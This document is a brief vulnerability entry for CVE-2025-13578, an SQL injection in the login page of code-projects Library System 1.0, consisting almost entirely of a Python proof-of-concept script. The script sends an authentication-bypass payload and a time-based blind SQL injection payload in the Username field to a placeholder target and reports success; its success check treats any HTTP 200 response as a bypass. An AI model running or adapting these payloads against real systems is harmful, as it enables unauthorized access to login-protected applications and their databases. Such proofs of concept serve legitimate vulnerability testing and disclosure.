CVE-2025-13578 code-projects Library System 1.0 SQL注入漏洞

import requests # CVE-2025-13578 SQL Injection PoC # Target: code-projects Library System 1.0 # Component: /index.php Login Username parameter target_url = "http://target-site.com/index.php" # SQL Injection payload - Boolean based blind injection payload = "' OR 1=1 -- -" data = { "Username": payload, "Password": "any_password" } try: response = requests.post(target_url, data=data, timeout=10) if "welcome" in response.text.lower() or response.status_code == 200: print("[+] SQL Injection Successful - Authentication Bypassed") else: print("[-] Injection Failed") except requests.RequestException as e: print(f"[-] Error: {e}") # Time-based blind SQL injection payload time_payload = "' AND SLEEP(5) -- -" data_time = {"Username": time_payload, "Password": "test"} try: response = requests.post(target_url, data=data_time, timeout=15) if response.elapsed.total_seconds() >= 5: print("[+] Time-based blind SQL injection confirmed") except: pass